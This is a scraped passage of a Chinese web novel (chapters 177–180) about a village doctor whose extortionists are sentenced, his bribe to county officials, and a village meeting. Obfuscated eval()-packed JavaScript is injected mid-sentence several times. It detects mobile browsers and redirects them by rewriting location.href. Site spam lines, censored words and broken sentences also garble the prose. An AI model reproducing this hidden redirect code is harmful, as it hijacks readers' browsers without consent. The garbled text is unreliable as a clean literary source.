“这辈子估计是出不来了。” 张小月知道这意味着什么。 在那个地方足以磨掉一个人所有的精气神更别提想再出来兴风作浪了。 心事一了张小月的思绪便活泛了起来一双灵动的眸子转了转凑到江沐身边用胳膊肘轻轻顶了顶他。 “哎我问你个事儿。你觉不觉得梁宇同志看喜凤的眼神不对劲儿?” “嗯?”江沐挑了挑眉脑海中闪过饭桌上那两人一个脸红如血一个坐立不安的画面。 “何止是不对劲儿 江沐闻言不禁失笑。 他这位妻子真是个热心肠。 他立刻点头应下。“行包在我身上。不过……” 他的话锋一转神色变得认真了几分。 “梁宇的家世不一般他舅舅是县长我看他自己也不是个普通的司机。就怕喜凤自己心里打退堂鼓觉得配不上人家。” 这话说到了点子上也是张小月隐隐的担忧。 在这个年代门第之见虽不像旧社会那般森严但干部家庭和普通农村姑娘之间依然横亘着一道无形的鸿沟。 “先看看吧”张小月思忖片刻“要是两人真能对上眼这些都不是问题。” 两人正说着话院门口就传来一阵敲门声紧接着是李有柱那标志性的大嗓门。 “小江!在家没?” 话音未落他人已经推门而入脸上带着一股子烦躁劲儿。 他身后没跟着人想来是已经把人安顿好了。 “姑父啥事儿这么急?”江沐给他倒了碗水。 李有柱接过碗灌下去大半抹了把嘴一屁股坐在小马扎上开始大倒苦水。 “别提了!公社又给咱队里塞了两个知青过来都是女娃。我的个乖乖那俩女娃皮肤比豆腐还嫩手跟葱白似的一看就是城里那种没沾过阳春水的娇小姐这哪是来干活的?这是来让咱们伺候的!” 他越说越来气一巴掌拍在自己大腿上。 “这秋收眼看就到了多两个人手总是好的可来这么两位 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 ,我愁得头发都要白了!” 江沐听着他的抱怨,只是笑了笑,没有接话。 这种事,他不好评价。 李有柱发泄完了,这才想起正事,他身子往前一探,压低了声音,脸上写满了关切。 “对了,小江,你那事儿……咋样了?县里咋说的?” 江沐神色淡然,“解决了,队长。刘海波他们三个,牢里出不来了。” “啥?出不来了?”李有柱先是一愣,随即猛地一拍大腿,发出一声巨响! “活该!**,就该这样!让这帮无法无天的兔崽子去牢里好好磨磨性子!” 他激动地在原地转了两圈,这才停下来。 “小江,你放心!等县里的正式处理结果下来,我立马召开全队大会!当着所有人的面,给你正名!我得让那帮长舌头的碎嘴子都看看,谁再敢在背后嚼舌根,污蔑你,我李有柱第一个不答应!” 江沐心中一暖,点了点头。 “多谢队长了。” “谢啥!应该的!”李有柱摆了摆手,随即又想起一事,凑过来嘿嘿一笑,“江医生,我刚才好像看见县里那吉普车了,开车的是个年轻后生吧?” 江沐心中一动,知道机会来了,便顺着他的话往下说。 “是沈大哥的外甥,叫梁宇。队长,正好有件事想问问你的意见。”他顿了顿,斟酌着词句,“我跟小月瞧着,梁宇那同志,好像对喜凤有点意思……” “啥?”李有柱一脸惊讶,“对喜凤?” “嗯,”江沐把饭桌上的情形简单描述了一遍,“我们就是这么一看,也不知道准不准。喜凤那丫头,人品样貌都没得说。要是你这边没啥意见,我就找机会探探梁宇的想法,要是两边都有意,倒是桩美事。” 李有柱摸着下巴上拉碴的胡茬,陷入了沉思。 梁宇是县领导的亲戚,开着小汽车,这条件,在十里八乡都是顶尖的。 可他眉头一皱,面露难色。 “这事儿……你得问你姑姑。前两天她还跟我念叨,想给喜凤找个知根知底的本分人家,怕她在外面受了委屈。” 这话说得在理,父母之命,媒灼之言。 江沐点了点头。 “行,那让先商量着。我这边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778513|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不急,等过两天我再去县里,顺便探探梁宇的口风。” 事情谈妥,李有柱也没多留,站起身便往外走。 只是他没直接回家,而是拐了个弯,径直朝着村东头刘丰产的家走去。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 刘丰产家的院子里一片死寂,往日里总能听到的争吵和喧哗声消失得无影无踪。 老人一个人坐在门槛上,吧嗒吧嗒地抽着旱烟袋,整个人仿佛一下子被抽走了精气神,苍老了十岁不止。 “丰产哥。”李有柱放缓了脚步,声音也沉了下来。 刘丰产缓缓抬起头,浑浊的眼睛看了他一眼,又垂了下去,从喉咙里挤出一个沙哑的嗯字。 两人沉默地坐了一会儿,只有烟锅里明明灭灭的火星和呛人的烟雾在空气中弥漫。 最终,还是李有柱打破了沉默。 “丰产哥,海波那几个浑球的事……你心里没啥疙瘩吧?” 刘丰产狠狠地吸了一口烟,然后将烟锅在鞋底上磕了磕,抖落一地烟灰。 “自作孽,不可活。”他沙哑的声音里听不出任何情绪,“怨不得别人。” 听到这话,李有柱心里就有底了。 “你能这么想就对了。我跟你说一声,等县里的文件下来,我准备开个全队大会,把这事儿当着大家的面说清楚,给小江一个交代。” 刘丰产的身子僵了一下,随即又松弛下来,他摆了摆手,语气里满是疲惫。 “应该的……江医生是咱们队的恩人,不能让人寒了心。这事儿,以后我也不管了,他们是死是活,都跟我刘家没关系了。” 话虽如此,血脉亲情又岂是说断就断的。 沉默了许久,刘丰产还是忍不住抬起头,浑浊的老眼里闪过希冀。 “有柱……他们……还能回来不?” 李有柱的脸色瞬间沉了下来,语气也变得严厉起来。 “回来?”他冷哼一声,反问道,“回来再给小江找麻烦,再给咱们二大队脸上抹黑?丰产哥,我跟你说句掏心窝子的话,这事儿,就算江医生不找人,我李有柱把这事往公社报,往县里报,结果也是一样!医闹,殴打医生,这是啥性质?他们这是自寻死路!” 第177章 以后凡事,给自己留条后路 刘丰产浑身一颤佝偻的背脊愈发塌了下去整个人瘫软在门槛上。 李有柱心里也不是滋味话说得重可理就是这个理。 他叹了口气转身便要离开这片死气沉沉的院子。 “有柱……” 身后一道干涩沙哑的声音拉住了他的脚步。 李有柱回过头只见刘丰产挣扎着从门槛上爬起。 “还有事?”李有柱的眉头不自觉地拧了起来。 “有柱我问你个事儿……”刘丰产的喉结滚动了一下声音压得极低“当年分家我家那口子……不是是我哥那口子不是分了老宅那三间正房吗?现在……现在他没了那房子……” 李有柱的瞳孔猛地一缩。 **!居然在打这个主意。 这心是石头做的还是黑炭捏的? 李有柱强压下心头的火气。 “丰产哥你这话问的……你就不怕村里人的唾沫星子把你给淹死?你侄子刚进局子你这当叔叔的扭头就惦记分家的房子传出去你刘家的脸还要不要了?” 刘丰产的老脸瞬间涨成了猪肝色但那点羞耻心很快就被对房子的渴望给淹没了。 他松开手搓了搓干巴巴地辩解。 “脸?我这张老脸早就被那几个畜生给丢尽了还要啥脸……我就想着我哥没了他那房子空着也是空着不如……” “行了!”李有柱不耐烦地打断他“这事儿你跟我说不着!当年分家除了我你三叔也在场当的见证。你要真不怕被人戳脊梁骨你就去找你三叔!他要是点头我李有柱二话不说 刘丰产浑浊的眼睛里精光一闪心里顿时有了底。 他那个三叔向来是个耳朵根子软的。 “欸欸!我这就去!” “等等!”李有柱叫住他“我丑话说在前头就算你三叔点了头你也给我老实待着别急吼吼地就搬过去!等这阵风头过了再说!不然村里人一人一口唾沫淹不死你也能恶心死你!” 刘丰产连连点头“晓得晓得我晓得……” 看着他那副贪婪的模样李有柱连多待一秒都觉得晦气甩开大步头也不回地走了。 回到家屋里亮着一盏昏黄的煤油灯。 妻子张兰见他回来放下手里的活计转身进了灶房不一会儿就端出一碗热气腾腾的清汤面。 面上卧着一个金黄的荷包蛋撒着几点翠绿的葱花 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 。 李有柱一屁股坐下也顾不上烫抄起筷子扒拉起来。 一碗面下肚胃里暖了心里的烦躁气也散了不少。 他抹了把嘴将空碗往桌上一放。 “我出去一趟。” “这都多晚了……”张兰的话还没说完李有柱的身影已经消失在了夜色里。 他径直去了大队**高志强家。 高志强正戴着老花镜在煤油灯下看一份文件。 见李有柱进来他推了推眼镜指了指对面的板凳。 “坐。看你这火急火燎的又出啥事了?” 李有柱也没客气一屁股坐下先是把公社硬塞来两个娇滴滴女知青的事儿抱怨了一通然后话锋一转脸上带着几分鄙夷将刘丰产打老宅主意的事儿原原本本地学了一遍。 高志强听完脸上竟没什么意外的神色只是淡淡地哼了一声。 “他下午就来找过我了拐弯抹角地提这事儿。我没接他的茬把他打发走了。” 李有柱一拍大腿。 “我就知道!这老东西是贼心不死!不过**这事儿他要是真能说通他三叔咱们大队这边……” “那是他们刘家的家事”高志强将文件合上语气平静无波“只要他三叔点头咱们也管不着。由他去吧。” 两人对视一眼都从对方眼里看到了同样的不屑。 李有柱凑近了些声音压低了一些神情也变得严肃起来。 “**还有个事儿。小江那边……都解决了。刘海波那三个直接局子这辈子怕是回不来了。” 高志强端起搪瓷缸子喝了口水昏黄的灯光下他脸上的表情看不真切只有那双眼睛深邃得像一口古井。 他缓缓点了点头 “好。” 这代表着这件事到此为止彻底翻篇了。 …… 第二天知青点的点长吴有才果然领着两个新来的女知青来大队领口粮。 那两个姑娘一个叫林慧一个叫赵倩果然如李有柱所说皮肤白皙穿着干净的连衣裙在这黄土朝天的村子里非常扎眼。 她们看着周围的一切眼神里带着好奇。 夜幕降临江沐将梁宇带来的那些罐头、饼干、麦乳精之类的稀罕物拾掇出来装了满满一网兜送去了陈老家。 “陈老这是沈县长送的你们拿着吃。” 陈老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778514|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一看来人是江沐脸上露出 你的朋友正在书荒,快去帮帮他吧 笑意,可一看到那网兜里的东西,眉头立刻就皱了起来。 “胡闹!拿回去!这么多东西我们几个老骨头哪吃得了!”他把网兜往江沐怀里推。 “您就拿着吧,我那儿还有。”江沐笑着躲开,“这是人家的一片心意,您要是不收,我没法交代。” 见他坚持,陈老也不再推辞,只是叹了口气,浑浊的眼睛里带着关切。 “你那事儿……处理妥了?” “妥了,”江沐神色平静,“我找了沈县长,他亲自过问的。” 陈老沉默片刻,拍了拍江沐的肩膀,语重心长。 “木秀于林,风必摧之。小江,你医术高明,是好事,但锋芒太露,容易伤人伤己。以后凡事,给自己留条后路。” “我记下了,陈老。”江沐心中一暖,郑重地点了点头。 从陈老家出来,夜色已浓。 江沐走在回家的土路上,迎面碰上一个人影,走近了才看清是邹芳芳。 “芳芳同志,还没歇着?” “刚喂完猪,”邹芳芳笑了笑,脸色在月光下显得有些苍白,“江医生,你也刚忙完?” “嗯。” 两人简单地打了声招呼,江沐离开。 “芳芳!” 魏长江气喘吁吁地跑了过来,一把拉住邹芳芳的胳膊,满眼的焦急。 “天都黑透了,你怎么还在外面乱跑!这路坑坑洼洼的,摔了怎么办!” 他的语气里带着责备,更多的却是藏不住的关切。 说着,他从口袋里掏出一把被汗浸得有些潮湿的**票,一股脑地塞进邹芳芳手里。 “今天结的药材钱,你拿着!想吃啥就去供销社买!” 邹芳芳看着手里的钱,眼圈却一下子红了,她低下头,声音闷闷的,带着委屈的哭腔。 “……没用了。” “啥没用了?”魏长江一愣。 邹芳芳吸了吸鼻子,声音更低了。 “下午……你爹来了,说你该给他养老钱了,把钱……都拿走了。” 魏长江的身体猛地一僵,他看着邹芳芳微红的眼眶和消瘦的脸颊,一股无力感涌上心头。 他张了张嘴,过了许久才说出话来。 “芳芳……我对不住你……” 第178章 好好照顾一下刘家那三口 江沐不是没见过生离死别,不是没见过绝望无助,可眼前这一幕,却让他感到一种前所未有的窒息。 魏长江这个七尺高的汉子,此刻双肩剧烈地颤抖着,他死死攥着拳头,指甲深陷进掌心,渗出血来也浑然不觉。 “芳芳,你信我,他的声音从牙缝里挤出来,“我……我一定会让你过上好日子的!谁也别想再欺负你,谁也别想!我爹也不行! 这誓言,与其说是说给邹芳芳听,不如说是吼给自己听的。 江沐静静地站在一旁,月光将他的影子拉得很长。 他没有出声,只是默默地转身,将这片属于两个年轻人的小小天地,留给了他们自己。 有些伤口,外人是无法缝合的,只能靠他们自己,用时间和血泪,慢慢熬。 …… 第二天,日头正毒。 一辆军绿色的吉普车,颠簸着卷起漫天黄土,在青莲公社二大队那窄小的土路上横冲直撞,最终一个急刹,稳稳停在了卫生室的门口。 车门推开,下来四个人。 为首的两人,穿着洗得发白的干部装,脚下的皮鞋虽然沾了尘土,却依旧能看出原本的锃亮。 后面跟着两个穿着**制服的年轻人,腰间挎着家伙,一脸严肃。 正在和江沐说话的李有柱第一个发现了不对劲,他丢下手里的蒲扇,一个箭步就冲了出来。 “同志,你们这是…… “我们是县里的, 江沐闻声从里屋走了出来,神色平静,仿佛早就料到他们会来。 “我就是。 “江医生,你好。国字脸干部伸出手,态度很是客气,“我是县检察院刑事检察科的,我姓范。这位是县**的郭主任。 另一个稍显瘦削的干部也朝江沐点了点头。 李有柱愣了一下,又是检察院又是**,这阵仗,可真不小! 他赶紧把人往屋里请,又给倒了搪瓷缸子水。 没有多余的寒暄,郭主任从随身的公文包里拿出一份盖着鲜红印章的文件,摊开在桌上。 “江沐同志,关于你举报刘海波、刘海洋、钱秀莲三人殴打医务人员、并实施敲诈勒索一案,经我们县人民**审理,现已做出判决。 他的声音不高,但在寂静的卫生室里,却清晰得如同敲钟。 “经查,刘海波等三人行为恶劣, 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 社会影响极坏,敲诈勒索罪名成立。根据相关法律法规,判处刘海波、刘海洋、钱秀莲三人**十五年,并处罚金,每人五十元。” 十五年! 李有柱手里的搪瓷缸子都差点没拿稳。 乖乖!这处罚可真是往死里整了! 这辈子,那仨畜生算是彻底交代在里头了! 他偷偷瞥了一眼江沐,只见这年轻人脸上波澜不惊。 “江沐同志,”郭主任例行公事地补充了一句,“如果你对判决结果有异议,可以在接到判决书的十日内,向市中级人民**提起上诉。” 江沐摇摇头。 “没有异议,这个结果我很满意。多谢各位同志秉公执法,辛苦了。” “应该的。”范主任笑着摆了摆手,站起身,“既然事情已经办妥,我们就不多打扰了,县里还有会。” 四人起身准备离开,李有柱忙着要送。 “范主任,请留步。” 江沐的声音不大,却让正要迈出门槛的范主任停住了脚步。 他转过身,有些疑惑地看着江沐。 江沐从口袋里掏出一个牛皮纸信封,但入手却沉甸甸的。 他几步上前,不着痕迹地塞到了范主任的手里。 “一点小意思,几位同志大老远跑一趟,天又热,买点汽水喝,解解暑。” 范主任条件反射般就要推回去。 “哎!江医生,你这是干什么!我们是为人民服务,不能拿群众的一针一线!” 他的嘴上义正言辞,可那只手却并未真的用力。 江沐脸上挂着恰到好处的微笑,手上微微加了点力道,将信封又推了回去,声音压低了几分。 “范主任,您误会了。这不是别的,就是我个人的一点心意。您要是不收,倒显得我江沐不懂事了。” 听到这话范主任推拒的手顿时就软了。 他心里门儿清。 收,还是不收? 电光火石之间,范主任已经做出了决定。 他不再推辞,迅速将信封揣进了中山装的内兜里,整个动作行云流水,快得连旁边的李有柱都没看清。 “江医生太客气了,以后有什么事,尽管来县里找我。” “一定,一定。范主任慢走。” 江沐将几人送到吉普车旁,看着那辆车喷出一股黑烟,在村里人敬畏的目光中绝尘而去。 车子一驶出村口,颠簸的土路让车厢里的人都跟着摇晃。 范主 你的朋友正在书荒,快去帮帮他吧35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778515|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 任稳稳地坐着,从内兜里摸出那个信封,当着所有人的面,撕开了封口。 他从里面抽出厚厚一沓钱,数都没数,直接抽出两沓五十,递给了后座的两个**。 “拿着,江医生的辛苦费,买点烟抽。” 那两个年轻**顿时受宠若惊,连连摆手。 “范主任,这……这我们不能要,这是纪律!” 范主任的脸沉了下来,眼神扫过两人。 “什么纪律?这是江医生体恤咱们同志辛苦,是慰问金!拿着!” 见两人还是不敢接,范主任的语气缓和下来。 “这事,就咱们四个知道。出了这辆车,谁也不许多说一个字。懂吗?” 这话一出,两个**对视一眼,终于还是颤抖着手接过了那两沓硌手的票子。 五十块!顶他们大半年的工资了! 范主任这才满意地点点头,将剩下的钱一分为二,一份塞进自己口袋,另一份递给了旁边的郭主任。 “老郭,你的。” 郭主任接过来,捏在手里,心里却有些发虚。 他压低了声音,凑到范主任耳边。 “老范,你说……这事,江沐会不会跟沈县长提一嘴?” 范主任嗤笑一声,靠在椅背上,眼中闪过精光。 “提?他为什么要提?他是个聪明人,知道水至清则无鱼的道理。钱我们收了,事儿就得给他办得更利索。他要的是结果,咱们给他结果就行了。” 他顿了顿,拍了拍郭主任的肩膀。 “对了,你那个在监狱当管教的姐夫,回头打个招呼,好好照顾一下刘家那三口,别让他们在里面……受了欺负。” 照顾两个字,他说得极重。 郭主任瞬间心领神会,点了点头。 “我明白。” …… 李有柱送走县里的人,一刻也没耽搁,拔腿就往大队**高志强家跑。 他冲进院子时,高志强正蹲在屋檐下,抽着他的老旱烟。 “**!” 高志强抬起眼皮,吐出一口浓白的烟圈。 “看你这满头大汗的,咋了?” 李有柱一口气跑到他跟前,也顾不上喘,压低了声音,兴奋得脸上直放光。 “判了!刘海波那三个,都判了!” “哦?”高志强不紧不慢地在鞋底上磕了磕烟灰,“多少?” 李有柱伸出一根手指,又比了个五。 “十五年!” 第179章 这算盘,打得比谁都精 “嘶…… 高志强狠狠吸了一口旱烟,被呛得咳嗽了两声,浑浊的眼珠子里满是震动。 “十五年……这俩小子,不,这仨畜生,这辈子算是彻底撂里头了。 他的声音沙哑,一开口就是十五年,这跟把人往死里整没啥区别了。 “柱子,这事儿闹这么大,接下来你打算咋整? “开大会! 高志强点了点头,又吧嗒了一口烟,缓缓吐出个烟圈。 “你看着安排就行。对了,有件事跟你说一声。 他神情变得有些微妙,压低了声音。 “今儿一大早,刘丰产他三叔,就摸到我家里来了。话里话外的意思,是刘丰产看上了刘丰收家那几间空出来的房子,想让他三叔出面,把房子要过去。他三叔拿不定主意,跑来问我的意思。 李有柱一听,顿时嗤笑一声,满脸不屑。 “嘿,我当是什么事呢!这刘丰产,算盘珠子都快崩到我脸上了!他三叔能跑来问你,八成是刘丰产许了啥天大的好处了! “谁说不是呢。高志强叹了口气,眼神里透着厌恶,“我跟他说,那是你们老刘家的家务事,亲兄弟明算账,你们自己关起门来商量,我一个外人,管不着。 李有柱心里跟明镜似的。 高**这是不想沾这浑水,也是,刘家这摊子烂事,谁沾谁一身骚。 他正准备再说点什么,安排下午开大会的事,院子外面突然传来一阵汽车引擎的轰鸣声。 …… 李有柱刚走到大队部,手里还攥着广播室的钥匙,准备打开大喇叭通知社员们开会,两辆绿色的解放牌警车就卷着黄土,一前一后,呼啸着冲进了大队院子,一个急刹车停在了他面前。 车门被拉开,几个穿着制服的**跳了下来,动作干脆利落。 紧接着,三个人影被从车上推搡了下来。 正是钱秀莲和她的两个儿子,刘海波、刘海洋。 只是一夜之间,这三个人像是被抽走了魂魄,彻底变了样。 钱秀莲原本精明刻薄的脸上只剩下死灰,头发白了一大片,眼神空洞。 刘海波和刘海洋兄弟俩,更是形容枯槁,脸上挂着淤青,手上戴着锃亮的**,威胁江沐时的嚣张气焰荡然无存,连站都站不稳 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 。 为首的一个**看见了李有柱,径直走过来,面无表情地出示了证件。 “你是二大队的队长李有柱同志吧?我们是县**局的。根据判决,带他们回来收拾几件换洗衣服,顺便把每人五十块钱的罚款交一下。手续办完,我们直接押送他们去矿山监狱服刑。” 矿山监狱四个字,让周围闻声赶来看热闹的村民们齐齐倒吸一口凉气。 那地方,谁不知道?进去就是终身**,挖煤挖到死,没几个能囫囵着出来的! 李有柱点了点头,心里也是一阵发寒。 他瞥了一眼那失魂落魄的三人,面色复杂地领着**往刘家走去。 一路上,消息传遍了整个村子。 家家户户的门都开了,男男女女、老老少少都涌了出来,跟在队伍后面,对着刘家三人指指点点。 “老天开眼了!看他们以后还敢不敢横行霸道!” “活该!敲诈人家江医生,也不看看自己是个什么东西!” “啧啧,戴着**呢,这辈子完了……” 刘家三人连头都不敢抬,只是踉跄着,被**推着往前走。 就在快到刘家门口时,人群中突然挤出一个人来,正是刘丰产。 他一脸焦急,冲到跟前,被**拦住。 “同志,同志!我是他们亲叔叔,我就跟他们说两句话,就两句!” **看了他一眼,勉强点了点头。 刘丰产立刻抓住这个机会,一把攥住刘海洋的胳膊,声泪俱下。 “海洋!你们……你们在里头一定要好好改造!听政府的话!家里的事儿,你们就别惦记了!” 他顿了顿,声音陡然拔高,确保周围所有人都听得清清楚楚。 “你们放心!你们家的房子,我给你们看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778516|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !里头的家当,我一样都不会动!等你们将来出来了,叔保证,原封不动地还给你们!” 刘海洋浑浊的眼睛里终于有了光亮,他哆嗦着嘴唇,几乎要哭出来。 “叔……谢谢你,谢谢叔……” 站在不远处的高志强和李有柱对视一眼,都在对方眼里看到了浓浓的鄙夷。 我呸! 李有柱在心里狠狠啐了一口。 真**不要脸! 当着全村人的面演这么一出大戏,这下好了,他霸占刘丰收的房子,就从巧取豪夺变成了代为看管,名正言顺!以后谁也别想在这事上说出半个不字! 这算盘,打得比谁都精! 公 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 安不耐烦地催促了几声,将哭哭啼啼的三人推进了院子。 没过多久,三人一人背着个破旧的包袱,被押了出来,塞进了警车。 警车再次发动,在全村人复杂的目光中,绝尘而去,再也没有回头。 …… 警车一走,李有柱深吸一口气,他二话不说,转身大步流星地走向了大队部的广播室。 片刻之后,刺啦的电流声响起,紧接着,李有柱洪亮而有力的声音通过大喇叭传遍了青莲公社二大队的每一个角落。 “喂!喂!二大队的社员们都注意了啊!现在,立刻,马上!都到大队部的打谷场上开会!有重要的事情宣布!再说一遍,所有人,都到打谷场开会!” 正在卫生室里整理草药的江沐听到了广播,他放下手里的活计,一旁的张小月和李喜凤也站了起来,脸上带着疑惑。 三人一起朝打谷场走去。 路上,不少村民看到江沐,都兴奋地围了上来,七嘴八舌。 “江医生,你可真神了!刘海波那三个王八蛋真的被抓走了!” “我们刚才都看见了,戴着**,跟死狗一样!太解气了!” “听说要送到矿山监狱去,那可是个有去无回的地方!” 江沐只是微笑着点头,没有多言。 第180章 这种白眼狼就该拉出去** 等他们赶到打谷场时这里已经黑压压地站满了人。 李有柱站在一张充当讲台的破桌子上清了清嗓子等所有人的目光都聚焦到他身上时他猛地一拍桌子。 “静一静!” 全场瞬间鸦雀无声。 李有柱扫视着台下的每一张脸他深吸一口气用尽全身力气吼了出来。 “今天把大家伙儿叫来就为一件事!” “就是关于刘海波、刘海洋、钱秀莲这三个害群之马胆大包天敲诈勒索咱们大队的救命恩人——江沐医生这件事!” 他一字一顿声音里充满了愤怒。 “有些人可能还蒙在鼓里不知道发生了什么。今天我就当着所有人的面把事情的来龙去脉从头到尾给你们掰扯清楚!” 李有柱唾沫横飞将钱秀莲一家如何狮子大开口、如何威逼利诱敲诈江沐的经过描绘得活灵活现。 他讲了足足有半个钟头从忘本讲到良心从阶级情谊讲到恩将仇报。 说到激动处青筋在脖子上突突直跳。 “咱们都是泥腿子出身祖祖辈辈刨的是土吃的是苦!江医生是什么人?那是城里来的文化人是来帮咱们的!人家不嫌咱们这穷山沟不嫌咱们身上有汗臭味放下身段给咱们看病救了多少人的命!可这三个畜生呢?他们是怎么做的?他们把江医生的仁义当成了驴肝肺把咱们二大队的脸都丢尽了!” 他猛地一拳砸在桌子上震得那破桌子吱呀作响。 “我告诉你们!这事儿要是捅到县里人家江医生脾气好不跟他们计较。要是换个心眼小的人家拍拍屁股走了咱们这卫生室**就得关门!到时候你们谁家孩子头疼脑热谁家老人口喘不上气你们哭都没地方哭去!” 这番话 “**!这种白眼狼就该拉出去**!” “对!十五年都便宜他们了!简直不是人!” “李队长说得对!没有江医生我婆婆那条腿早就废了!” 村民们的愤怒被彻底点燃一张张朴实的脸上写满了对刘家三人的唾弃和对江沐的维护。 江沐站在人群后方听着耳边一声声的声讨只觉得头皮发麻。 【叮!收获来自张铁柱的敬佩声望值+5】 【叮!收获来自王翠芬的感激声望值+3】 【叮!……】 脑海中声望商城的提示音疯狂跳动但他此刻却无暇顾及 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 。 李有柱见火候差不多了,抬手往下压了压,嘈杂的人声渐渐平息。 “大家伙儿的心情,我懂!但咱们是法治社会,判决已经下来了,这事儿就算翻了篇!但是! 他话锋一转,目光灼灼地看向江沐的方向。 “咱们二大队不能让好人寒了心!我跟高**商量过了,从今天起,刘海波、刘海洋名下所有的工分,以及年底的分红,全部划到江沐医生名下,作为补偿! 此言一出,全场无一人反对。 “应该的!就该这么办! “我们没意见!江医生受了这么大委屈,这点补偿算啥! 李有柱满意地点了点头,大手一挥。 “好!那就这么定了!散会! 大会一结束,江沐感觉无数道灼热的目光齐刷刷地射向自己,他浑身不自在,拉了一把身旁的张小月,压低了声音,“快走快走,太尴尬了。 两人几乎是逃也似的挤出了人群,回到了卫生室。 打谷场上,人群渐渐散去,刘丰产却鬼鬼祟祟地凑到了李有柱跟前,脸上堆着谄媚的笑。 “柱子哥,你看……刚才**同志在的时候,我也跟海洋他们说了,他们家的房子,我先帮着照看着。这总不能眼睁睁看着房子塌了不是? 李有柱斜睨了他一眼,从鼻子里发出一声冷哼。 “那是你们老刘家的事,跟我说不着。你是想照看,还是想霸占,那是你自己的良心。我只告诉你一句,别把事儿做得太绝,小心夜路走多了,碰上鬼。 撂下这句话,李有柱头也不回地走了,留下刘丰产一个人在原地,脸色难看至极。 …… 江沐刚回到卫生室,还没来得及喘口气,知青点的徐巧慧就扶着一个脸色蜡黄的年轻姑娘走了进来。 那姑娘约莫十**岁,扎着两条麻花辫,只是嘴唇干裂,脚步虚浮,一副病恹恹的样子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778517|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “江医生,快给看看,这是新来的知青,叫赵倩。从昨天晚上开始,又吐又泻,人都快脱形了。徐巧慧焦急万分。 江沐立刻让赵倩坐下,伸手搭上了她的脉搏,又看了看她的舌苔,心里便有了数。 “别紧张,这是典型的水土不服,刚来都容易这样。 他转身从药柜里抓了几味草药包好,又从抽屉里取出一支玻璃注射器和一小瓶药水,动作娴熟地抽好了药。 “先打一针,止住上吐下泻,这包药拿回去煎了喝,喝完睡一觉,发发汗。晚上睡 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 觉肚子上一定要盖好被子,别贪凉。” 冰凉的针头扎进皮肤,赵倩只是轻轻皱了皱眉。 打完针,她感觉胃里翻江倒海的感觉果然轻了许多。 她从口袋里掏出几张**票,递了过去。 “江医生,谢谢您,这是药钱。” 江沐摆了摆手,将钱推了回去。 “不用,几味草药,不值钱。” 赵倩一愣,有些不知所措。 一旁的徐巧慧连忙拉了拉她的衣袖,小声解释,“江医生给咱们公社的人看病,从来不收钱的,你快收起来吧。” 赵倩抬起头,看向江沐的眼神里瞬间充满了惊讶。 在这个物资匮乏、人人都为几分钱几两粮票算计的年代,竟然还有这样的人? 【叮!收获来自赵倩的崇敬,声望值+5】 送走了两人,江沐又提了桶水,将卫生室里里外外打扫了一遍,这才感觉清净下来。 日子一晃,就到了周一。 一大早,牛水生就乐呵呵地跑了过来。 